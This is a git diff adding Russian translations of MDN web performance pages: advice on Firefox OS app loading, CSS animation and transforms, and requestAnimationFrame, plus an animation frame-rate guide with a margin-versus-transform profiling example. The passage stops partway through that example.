+<p>Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для <code>canvas</code> "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоев (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти ддя хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.</p>
+
+<p>Для продвинутых приложений полностью статичный контент скорее является исключением, чем правилом. Такие приложения используют динамический контент, анимируемый с помощью {{ cssxref("animation") }} и {{ cssxref ("transition") }}. Переходы и анимации особенно важны для приложений: разработчики могут использовать CSS для объявления сложного поведения с помощью простого высокоуровнего синтаксиса. С другой стороны, движок Gecko хорошо оптимизирован для того, чтобы рендерить такую анимацию эффективно. В целом, общепринятые анимации передаются к обработке системному компоновщику, который может отрендерить их в эффективном, энергосберегающем режиме. </p>
+
+<p>Производительность запуска приложения так же важна, как и её текущая производительность. Gecko оптимизирован для того, чтобы загружать разнообразный контент эффективно: ведь Gecko впитал в себя опыт всего Web-а! Много лет Web улучшался, а разработчики улучшали его контент. Параллельный парсинг HTML, разумное выстраивание очереди перерисовки и декодирования изображений, умные алгоритмы компоновки и т.д.. Все эти оптимизации, конечно, улучшают и производительность Firefox OS.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> смотрите <a href="/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/Performance/Firefox_OS_performance_testing">Тестирование производительности Firefox OS</a> для дополнительной информации о Firefox OS спецификациях, которые помогают оптимизировать производительность запуска.</p>
+</div>
+
+<h2 id="Производительность_приложений">Производительность приложений</h2>
+
+<p>Эта секция попытается ответить на вопрос "как сделать приложение быстрее?".</p>
+
+<h3 id="Скорость_загрузки">Скорость загрузки</h3>
+
+<p>Загрузка приложения может быть поделена на три этапа, которые влияют на UPP:</p>
+
+<ul>
+ <li>Первая отрисовка. Момент, когда приложение загрузило достаточно данных и ресурсов, чтобы отрисовать первый - начальный - кадр</li>
+ <li>Начало интерактивности - например, когда пользователю становится доступна возможность нажать кнопку, а приложение может ему ответить</li>
+ <li>Полная загрузка - например, когда все пользовательские альбомы перечислены в музыкальном плеере</li>
+</ul>
+
+<p>Секрет быстрой загрузки требует двух вещей: UPP (ощущаемая пользователем скорость) - это единственное, что имеет значение; эта скорость зависит от критического пути рендеринга (Critical Rendering Path). Критический путь - это единственный и необходимый код, который должен запускать перечисленные выше события.</p>
+
+<p>Например, отрисовка первого кадра, который содержит в себе необходимый HTML и CSS включает:</p>
+
+<ol>
+ <li>Браузер должен спарсить HTML</li>
+ <li>DOM должен быть построен для этого HTML</li>
+ <li>Ресурсы (изображения, видео и др.) для этой модели DOM должны быть загружены и декодированы</li>
+ <li>CSS стили должны быть применены к DOM и должен быть сформирован CSSOM</li>
+ <li>Стилизованный компонент должен быть подготовлен к рендеру</li>
+</ol>
+
+<p>В этом списке вы не увидите "загрузить JS файл, который нужен для второстепенного меню", "забрать и декодировать изображения для списка достижений" и т.п. Эта работа не должна выполняться при запуске приложения.</p>
+
+<p>Звучит очевидно, но для достижения лучшей воспринимаемой скорости загрузки нужно запускать только тот код, который необходим и критичен для запуска приложения. Короткий путь увеличивает скорость.</p>
+
+<p>Web-платформа очень динамична. JavaScript - это динамически типизированный язык, а Web разрешает загружать код, HTML, CSS, изображения и другие ресурсы динамически. Эти функции могут быть использованы для того, чтобы отложить загрузку ресурсов; чтобы сократить критический путь, подвинув загрузку лишнего контента на несколько моментов позже. Такой подход называется "ленивой загрузкой".</p>
+
+<p>Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, еще во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придется ждать.</p>
+
+<div class="note">
+<p><strong>Заметка: </strong>Для дополнительной информации об ускорении запуска ознакомьтесь с <a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a>.</p>
+</div>
+
+<p>Следует также отметить, что ресурсы, закешированные локально, могут быть загружены гораздо быстрее, чем динамические данные, загруженные через мобильную сеть с её задержками или узким каналом. Локальное кеширование и работа в оффлайне могут быть достигнуты с помощью <a href="/en-US/docs/">Service Workers</a>. См. <a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers">Making PWAs work offline with Service workers</a> для подробностей.</p>
+
+<h3 id="Частота_кадров_2">Частота кадров</h3>
+
+<p>Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьезного контроля рендеринга и не нуждаются в темах.</p>
+
+<p>При отрисовывании контента в Canvas, разработчик должен сам позаботиться о достижении целей по частоте кадров, ведь он получает полный контроль над всем, что отрисовывается.</p>
+
+<p>При использовании HTML и CSS разработчику необходимо использовать правильные примитивы. Firefox очень хорошо оптимизирован для скролла любого контента. Обычно это не является проблемой. Но очень часто, разменивая качество и стабильность на скорость, мы идём на ухищрения, которые могут "переоптимизировать" страницу так, что частота кадров будет выше нужной нам. Так как глаз все равно слабо различает FPS больше 60, нет необходимости в таких оптимизациях. Одна из таких оптимизаций - использование статического рендера вместо CSS-градиента. В некоторых случаях это излишне. Чтобы не применять оптимизацию, вы можете воспользоваться CSS <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media queries</a>, которые позволят использовать подобные решения только для конкретных устройств.</p>
+
+<p>Множество приложений используют Transitions и Animations для перехода между страницами или панелями. Например, когда пользователь нажимает кнопку "Настройки", чтобы перейти на другой экран; или для вызова поп-апа. Firefox оптимизирован для выполнения переходов и анимаций для сцен, которые:</p>
+
+<ul>
+ <li>Используют страницы/панели равные по размеру дисплею или меньше</li>
+ <li>Используют для переходов/анимаций свойства <code>Transform</code> и <code>Opacity</code></li>
+</ul>
+
+<p>Переходы и анимации, которые придерживаются этих правил, будут выгружены в системный компоновщик и выполнены максимально эффективно.</p>
+
+<h3 id="Использование_памяти_и_энергии">Использование памяти и энергии</h3>
+
+<p>Проблема улучшения использования памяти и энергии так же важна для ускорения запуска: не делайте ненужную работу и не загружайте ненужные ресурсы. Используйте эффективные структуры данных и уделяйте внимание оптимизации ресурсов.</p>
+
+<p>Современные ЦПУ могут работать в режиме энергосбережения, когда они не задействованы. Приложения, которые постоянно запускают таймеры или продолжают ненужные анимации, мешают процессору перейти в режим энергосбережения. Эффективные приложения не должны так делать.</p>
+
+<p>Когда приложение переходит в фоновый режим, срабатывает событие  {{event("visibilitychange")}}. Это событие - друг разработчика. Приложения должы слушать его и реагировать на него. Например, в Firefox OS, приложения, которые умеют ограничивать использование ресурсов и экономят память, когда переходят в фоновый режим, с меньшей долей вероятности будут отключены (см. заметку ниже). Это, если посмотреть с другой стороны, означает, что раз приложение не было выгружено - оно будет быстрее загружено.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Как было упомянуто выше, Firefox OS пытается сохранить как можно больше приложений, но иногда вынуждена приостанавливать некоторые из них. Обычно это происходит, когда у устройства заканчивается память. Чтобы узнать больше о том, как Firefox OS управляет памятью и избавляется от приложений, когда начинаются проблемы с памятью, читайте <a href="/en-US/docs/Archive/B2G_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a>.</p>
+</div>
+
+<h3 id="Советы_к_применению_в_коде">Советы к применению в коде</h3>
+
+<p>Следующие советы помогут вам улучшить один или несколько факторов производительности, которые мы обсуждали ранее.</p>
+
+<h4 id="Используйте_CSS_animation_и_transition">Используйте CSS animation и transition</h4>
+
+<p>Вместо использования функции  <code>animate()</code> какой-нибудь библиотеки, которая, вероятно, использует много плохих решений (например ({{domxref("window.setTimeout()")}} или анимирование top / left), используйте <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a>. Во многих случаях, вы можете использовать <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Transitions</a>. Использование этих свойств поможет, так как браузер спроектирован так, чтобы оптимизировать эти эффекты и переносить часть вычислений на GPU, чтобы они работали плавно и с минимальным влиянием на процессор. Другое преимущество - вы можете определить эти анимации в CSS декларативным образом, а не в бизнес-логике приложения.</p>
+
+<p>CSS анимации дают вам очень точный контроль эффектов, если вы используете <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с легкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.</p>
+
+<p>Если вы хотите создавать анимации "на лету" или изменять их с помощью JavaScript, Джеймс Лонг написал простую библиотеку для этого - <a href="https://github.com/jlongster/css-animations.js/">CSS-animations.js</a>.</p>
+
+<h4 id="Используйте_CSS_трансформацию">Используйте CSS трансформацию</h4>
+
+<p>Вместо того, чтобы изменять абсолютное позиционирование и возиться с этой математикой вручную, используйте свойство {{cssxref("transform")}}, чтобы изменить позицию, масштаб и некоторые другие аспекты вашего контента. Именно так вы используете аппаратное ускорение. Браузер умеет передавать такие задачи графическому процессору, давая возможность ЦПУ заняться другими важными вещами.</p>
+
+<p>К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете оответственность за его оптимизацию на браузер. Вы так же получаете возможность с легкостью позиционировать элементы. Если вы будете использовать только <code>top</code> и <code>left</code>, вам придется написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом <code>canvas</code>.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> В некоторых случаях (в зависимости от платформы) вам может понадобиться добавить свойство <code>translateZ(0.1)</code>, если вы хотите заставить клиента перенести вычисление анимаций на графический адаптер. Как было упомянуто выше, это может улучшить производительность, но увеличит потребление памяти. Какое из зол - меньшее - решать вам. Протестируйте оба варианта и выясните, что лучше подходит для вашего приложеия.</p>
+</div>
+
+<h4 id="Используйте_requestAnimationFrame_вместо_setInterval">Используйте <code>requestAnimationFrame()</code> вместо <code>setInterval()</code></h4>
+
+<p>Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошел до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.</p>
+
+<p>Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждет, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.</p>
+
+<h4 id="Делайте_события_мгновенными">Делайте события мгновенными</h4>
+
+<p>Как старомодные, заботящиеся о доступности веб-разработчики, мы любим событие нажатия, так как оно также срабатывает и для ввода с клавиатуры. На мобильных устройствах это работает иначе. Вы должны использовать {{event("touchstart")}} и {{event("touchend")}}, а не click. Причина этому - в мобильных устройствах срабатывает задержка в несколько сотен миллисекунд между касанием экрана и запуском обработчика click. Из-за этого приложение может ощущаться медленным. Если вы будете тестировать ваше приложение на предмет работы с касаниями, вы не пожертвуете доступностью. Кроме того, существуют библиотеки, которые ускорят разработку. Например, Financial Times использует библиотеку <a href="https://github.com/ftlabs/fastclick">fastclick</a> для обработки.</p>
+
+<h4 id="Держите_интерфейс_простым">Держите интерфейс простым</h4>
+
+<p>Одна из самых больших проблем, которую мы нашли в HTML5 приложениях, заключается в том, что перенос большого количества <a href="/en-US/docs/DOM">DOM</a> элементов делает приложение медленным - особенно, если в этих элементах много градиентов и теней. Упрощайте то, как выглядит ваше приложение и передвигайте проксирующий элемент, когда выполняете Drag And Drop - это сильно ускорит работу.</p>
+
+<p>Когда, например, у вас есть большой список элементов (скажем, твитов), не перемещайте их все. Вместо этого, держите в вашем DOM-дереве только те элементы, которые видимы и несколько за областью видимости, чтобы при скролле не было заметно моргание. Остальные - прячьте. Сохраняйте данные в JavaScript объектах, вместо хранения данных и доступа к ним в DOM. Думайте об экране, как об устройстве представления необходимых данных, а не всех. Это не означает, что вы не можете использовать HTML, как источник данных; просто читайте его один раз, а затем продвигайтесь на 10 элементов, изменяя содержимое первого и последнего элемента, согласно их позициям в списке, вместо того, чтобы двигать 100 элементов, которые уже невидимы. Подобный трюк сработает и в играх со спрайтами: если они не видны на экране, нет необходимости запрашивать их. Вместо этого переиспользуйте элементы, которые выходят за пределы экрана, в то время как новые входят.</p>
+
+<h2 id="Общий_анализ_производительности">Общий анализ производительности</h2>
+
+<p>Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> покажет точное время, когда произошел каждый сетевой запрос, насколько большим он был и как долго обрабатывался.</p>
+
+<p><img alt="The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph." src="https://mdn.mozillademos.org/files/6845/network-monitor.jpg" style="display: block; height: 713px; margin: 0px auto; width: 700px;"></p>
+
+<p>Если на вашей странице есть JavaScript, который выполняется очень долго, <a href="/en-US/docs/Tools/Profiler">JavaScript profiler</a>  укажет на наиболее медленные строки кода.</p>
+
+<p><img alt="The Firefox JavaScript profiler showing a completed profile 1." src="https://mdn.mozillademos.org/files/6839/javascript-profiler.png" style="display: block; height: 433px; margin: 0px auto; width: 896px;"></p>
+
+<p>Встроенный<a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler"> Gecko Profiler</a> - очень полезный инструмент, который позволяет вам получить ещё более подробную информацию о том, какие части кода работают медленно. Это довольно сложный инструмент, но он предоставляет множество деталей.</p>
+
+<p><img alt="A built-in Gecko profiler windows showing a lot of network information." src="https://mdn.mozillademos.org/files/6837/gecko-profiler.png" style="display: block; height: 514px; margin: 0px auto; width: 896px;"></p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Вы можете использовать эти инструменты и в Android браузере, запустив Firefox и включив <a href="/en-US/docs/Tools/Remote_Debugging">remote debugging</a>.</p>
+</div>
+
+<p>Например, множественные сетевые запросы в мобильной сети занимают больше времени. Рендеринг больших изображений и CSS градиентов может происходить дольше. Простое скачивание больших изображений может занять большее время, даже через быструю сеть, так как аппаратная часть мобильных устройств зачастую слишком медленна, чтобы использовать все возможности быстрых каналов данных. Для получения полезных подсказок о производительности на мобильных устройствах, ознакомьтесь с докладом Максимилиано Фёртмана <a href="http://www.slideshare.net/firt/mobile-web-high-performance">Mobile Web High Performance</a>.</p>
+
+<h3 id="Тестовые_кейсы_и_сообщения_об_ошибках">Тестовые кейсы и сообщения об ошибках</h3>
+
+<p>Если инструменты разработчика в Firefox или Chrome не помогают вам выяснить проблему или выглядит так, что браузеры сами по себе создают проблему, попробуйте сформировать тестовое окружение, которое максимально изолирует проблему. Это очень часто помогать диагностировать проблему.</p>
+
+<p>Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчет в <a href="https://bugzilla.mozilla.org/">Bugzilla</a> или, например, сохраните файл на своем сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.</p>
diff --git a/files/ru/web/performance/производительность_анимации/index.html b/files/ru/web/performance/производительность_анимации/index.html
new file mode 100644
index 0000000000..8d8054dade
--- /dev/null
+++ b/files/ru/web/performance/производительность_анимации/index.html
@@ -0,0 +1,174 @@
+---
+title: Производительность анимации и частота кадров
+slug: Web/Performance/Производительность_анимации
+tags:
+  - CSS animation
+  - Developer Tools
+  - Web Performance
+  - Анимация
+  - Производительность
+  - инструменты
+translation_of: Web/Performance/Animation_performance_and_frame_rate
+---
+<p>Анимация в Вебе может быть сделана с помощью {{domxref('SVGAnimationElement', 'SVG')}}, {{domxref('window.requestAnimationFrame','JavaScript')}}, включая {{htmlelement('canvas')}} и {{domxref('WebGL_API', 'WebGL')}}, CSS {{cssxref('animation')}}, {{htmlelement('video')}}, анимированных GIF и даже с помощью анимированных PNG и других типов изображений. Производительность CSS анимации может отличаться от одного CSS-свойства к другому, а попытка анимировать некоторые "дорогие" CSS-свойства может привести к зависаниям ({{glossary('jank')}}), даже несмотря на то, что браузер борется за то, чтобы смягчить частоту смены кадров {{glossary('frame rate')}}.</p>
+
+<p>Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объему файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. </p>
+
+<p>Анимации, основанные на коде, будь то CSS, SVG, &lt;canvas&gt;, webGL или другие JavaScript анимации, могут нести проблемы производительности сами в себе, даже если файлы этого кода скачиваются быстро. Такие анимации могут потреблять всё время CPU и приводить к зависаниям.</p>
+
+<p>Несомненно, производительность каждой конкретной системы - очень чувствительная тема. Улучшив клиентскую производительность, вы сможете не только ускорить работу приложения, но даже затронете физический аспект - сможете сэкономить заряд батареи мобильных устройств и / или понизите температуру устройства. Поэтому очень важно владеть инструментами для измерения производительности. Они помогут вам понять всю работу, которую проводит браузер, пока рендерит ваше приложение и поможет избежать и диагностировать проблемы, когда они происходят.<br>
+ <br>
+ Пользователи ожидают, что взаимодействие с интерфейсом будет плавным, а интерфейс будет отзывчивым. Анимация помогает улучшить восприятие приложения, сделав его быстрым и отзывчивым; но анимация так же может замедлить его и привести к зависаниям, если она сделана неумело. Отзывчивые интерфейсы должны иметь частоту смены кадров, равную <a href="/en-US/docs/Tools/Performance/Frame_rate">60 кадров в секунду (fps)</a>. В то время, как не всегда возможно поддерживать такую частоту, очень важно поддерживать быструю и устойчивую смену кадров для анимации. </p>
+
+<p>Мы рассмотрим, как можно использовать инструменты браузера для инспектирования частоты смены кадров. Так же, мы обсудим некоторые подсказки, как организовать и поддерживать быструю и стабильную смену кадров.</p>
+
+<p>Графики <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a> и <a href="/en-US/docs/Tools/Performance/Waterfall">waterfall</a> из встроенных инструментов браузера дают информацию о том, как браузер выполняет работу по анимации. Используя эти инструменты, вы можете измерить fps приложения и диагностировать узкие места, в которых fps уменьшается.</p>
+
+<p>С помощью <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a> вы указываете <a href="/en-US/docs/Web/CSS/@keyframes">ключевые кадры (keyframes)</a>, каждый из которых использует определенные CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создает анимации с помощью плавных переходов от одного ключевого кадра к следующему.</p>
+
+<p>Если сравнивать анимацию с помощью JavaScript и CSS, вы увидите, что CSS-анимации проще создать. Более того, CSS-анимации гарантируют лучшую производительность, так как они автоматически делегируют некоторые задачи браузеру. Например, в случае CSS браузер сам решает, когда нужно отрендерить кадр, а когда пропустить кадр, если это необходимо. </p>
+
+<p><br>
+ Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчет говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, так как браузер все еще будет пытаться вычислить все 60 кадров.</p>
+
+<p>Стоит заметить, что 60 кадров в секунду - это стандартная частота обновления экрана. Существуют экраны с гораздо большим FPS. Например, экраны игровых ноутбуков или iPad Pro 2018 имеют частоту смены кадров, равную 120 fps и выше. Для таких устройств производители браузеров ограничивают частоту 60-ю кадрами в секунду, но с помощю некоторых опций этот лимит можно убрать. И в этом случае, на формирование каждого кадра устройство будет отводить лишь 8.6 миллисекунд.</p>
+
+<h2 id="Этапы_рендеринга">Этапы рендеринга</h2>
+
+<p>Процесс, используемый браузером для отображения анимации CSS свойств, может быть представлен как последовательность этапов из следующего изображения:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10821/css-rendering-waterfall.png" style="display: block; height: 203px; margin-left: auto; margin-right: auto; width: 546px;"></p>
+
+<ol>
+ <li><strong>Recalculate Style</strong>: когда любое CSS свойство для элемента изменяется, браузер должен заново вычислить результирующий набор свойств.</li>
+ <li><strong>Layout</strong>: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как измененного, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".</li>
+ <li><strong>Paint</strong>: наконец, браузер должен перерисовать элементы на экране. Но этот этап не обязательно должен быть простым, как на изображении. Страница может быть разделена на слои, каждый из которых перерисовывается независимо, а только после этого они комбинируются в процессе, который называется композицией "Composition".</li>
+</ol>
+
+<p>Процессы, которые браузер использует для отрисовывания изменений на элементе &lt;canvas&gt; отличаются. В случае &lt;canvas&gt;, Layout не присходит. Скорее, страница будет перерисована с помощью JavaScript canvas API. </p>
+
+<p>В любом случае, вычисление каждого следующего кадра должно происходить достаточно быстро, чтобы успеть попасть в частоту обновления экрана, чтобы не было зависаний.</p>
+
+<h2 id="Стоимость_CSS_свойств">Стоимость CSS свойств</h2>
+
+<p>На всех этапах рендеринга изменение некоторых свойств является более затратным, других - менее:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Тип свойства</th>
+   <th scope="col">Стоимость</th>
+   <th scope="col">Примеры</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Свойства, затрагивающие геометрию или позицию элемента, запускают <strong>весь</strong> процесс заново: новое вычисление стилей, layout и перерисовку.</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/10827/recalculate-style.png" style="height: 26px; width: 123px;"> <img alt="" src="https://mdn.mozillademos.org/files/10825/layout.png" style="height: 26px; width: 123px;"> <img alt="" src="https://mdn.mozillademos.org/files/10823/paint.png" style="height: 26px; width: 123px;"></td>
+   <td>
+    <p><code><a href="/en-US/docs/Web/CSS/left">left</a></code><br>
+     <code><a href="/en-US/docs/Web/CSS/max-width">max-width</a></code><br>
+     <code><a href="/en-US/docs/Web/CSS/border-width">border-width</a></code><br>
+     <code><a href="/en-US/docs/Web/CSS/margin-left">margin-left</a></code><br>
+     <code><a href="/en-US/docs/Web/CSS/font-size">font-size</a></code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Свойства, не затрагивающие геометрию и позиционирование элементов, но не лежащие в отдельном слое, запускают только вычисление стилей и перерисовку, но не Layout.</p>
+   </td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/10827/recalculate-style.png" style="height: 26px; width: 123px;"> <img alt="" src="https://mdn.mozillademos.org/files/10835/layout-faint.png" style="height: 52px; width: 123px;"> <img alt="" src="https://mdn.mozillademos.org/files/10823/paint.png" style="height: 26px; width: 123px;"></td>
+   <td>
+    <p><code><a href="/en-US/docs/Web/CSS/color">color</a></code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Свойства, которые рендерятся в отдельном слое не запускают даже repaint, так как результат обновления обрабатывается на этапе композиции.</p>
+   </td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/10827/recalculate-style.png" style="height: 26px; width: 123px;"> <img alt="" src="https://mdn.mozillademos.org/files/10835/layout-faint.png" style="height: 52px; width: 123px;"> <img alt="" src="https://mdn.mozillademos.org/files/10839/paint-faint.png" style="height: 26px; width: 123px;"></td>
+   <td><code><a href="/en-US/docs/Web/CSS/transform">transform</a></code><br>
+    <code><a href="/en-US/docs/Web/CSS/opacity">opacity</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>На Веб-сайте <a href="http://csstriggers.com/">CSS Triggers</a> хорошо показано, какие CSS свойства вызывают те или иные этапы обновления в разных браузерах.</p>
+</div>
+
+<h2 id="Пример_margin_против_transform">Пример: margin против transform</h2>
+
+<p>В этом разделе мы увидим, как инструмент <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> может указать на разницу между анимацией. ёё <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code>  и <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p>
+
+<p>Задумка этого сценария не в том, чтобы убедить вас, что анимация через <code>margin</code> - это всегда плохая идея. Сценарий нужен, чтобы продемонстрировать, как инструменты могут помочь вам понять работу браузера и как вы можете применить эти знания для оптимизации.</p>
+
+<p>Если вы хотите самостоятельно разобраться с этим примером, вы можете найти демо <a href="http://mdn.github.io/performance-scenarios/animation-transform-margin/index.html">здесь</a>. Демо выглядит так:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11029/css-animations-demo.png" style="display: block; height: 677px; margin-left: auto; margin-right: auto; width: 1000px;">На экране всего два контрола: кнопка "start / stop" для запуска и остановки анимации и радио-кнопки для выбора свойства, с помощью которого происходит анимация:  <code>margin</code>, или <code>transform</code>.</p>
+
+<p>Так же на странице есть некоторое количество элементов со свойствами  <code><a href="/en-US/docs/Web/CSS/linear-gradient">linear-gradient</a></code> и <code><a href="/en-US/docs/Web/CSS/box-shadow">box-shadow</a></code> Мы обращаем внимание именно на эти два свойства, так как они относительно дорогие.</p>
+
+<p>Так же существует видео-версия анализа и оптимизации этой страницы.</p>
+
+<p>{{EmbedYouTube("Tvu6_j8Qzfk")}}</p>
+
+<h3 id="Анимация_свойства_margin">Анимация свойства margin</h3>
+
+<p>Оставим включенной опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмем кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.</p>
+
+<p>Откройте первую запись. Точное содержимое, которое вы увидите, зависит от вашего устройства, системной нагрузки и окружения, но, в целом это должно выглядеть так:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10853/margin-recording.png" style="display: block; height: 237px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>На экране показаны три отдельных секции: (a) обзор этапов рендеринга (Waterfall), (b) частота кадров, и (c) детали на временной шкали.</p>
+
+<h4 id="Обзор_этапов_рендеринга_на_временной_шкале_Waterfall">Обзор этапов рендеринга на временной шкале (Waterfall)</h4>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10857/margin-timeline-overview.png" style="display: block; height: 58px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>Сейчас здесь показаны ужатые этапы рендеринга <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как видите, большая часть графика заполнена зеленым цветом - это говорит нам о том, что <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">мы тратим много ресурсов на отрисовывание</a>.</p>
+
+<h4 id="Частота_кадров_Frame_Rate">Частота кадров (Frame Rate)</h4>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10859/margin-frame-rate.png" style="display: block; height: 64px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>Эта секция показывает <a href="/en-US/docs/Tools/Performance/Frame_rate">частоту кадров</a>. Средняя частота на примере - 46.67fps. Это ниже, чем желаемые 60fps. Однако, ещё хуже то, что частота кадров нестабильна - есть этапы, где частота кадров снижается до 20 и даже до 10 fps. Маловероятно, что вы увидите здесь плавную анимацию, особенно если добавите какое-то взаимодействие с пользователем.</p>
+
+<h4 id="Этапы_рендеринга_в_деталях_Waterfall">Этапы рендеринга в деталях (Waterfall)</h4>
+
+<p>Оставшаяся часть записей показа в секции "Waterfall view". Если вы пролистаете этот список, вы увидите что-то наподобие этого:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10861/margin-timeline.png" style="display: block; height: 532px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>Это шаги рендеринга (<a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#The_CSS_rendering_waterfall">rendering waterfall</a>). Для каждого кадра анимации мы вычисляем стили для каждого элемента, потом вычисляем Layout, а затем перерисовываем все элементы.</p>
+
+<p>Из таблицы видно, что особый урон производительности наносит перерисовка Paint (зелёные полосы). Например, выделенный этап Paint занял 13.11мс. Учитывая, что весь бюджет рендеринга - 16.7мс, неудивительно, что мы увидели падения fps.</p>
+
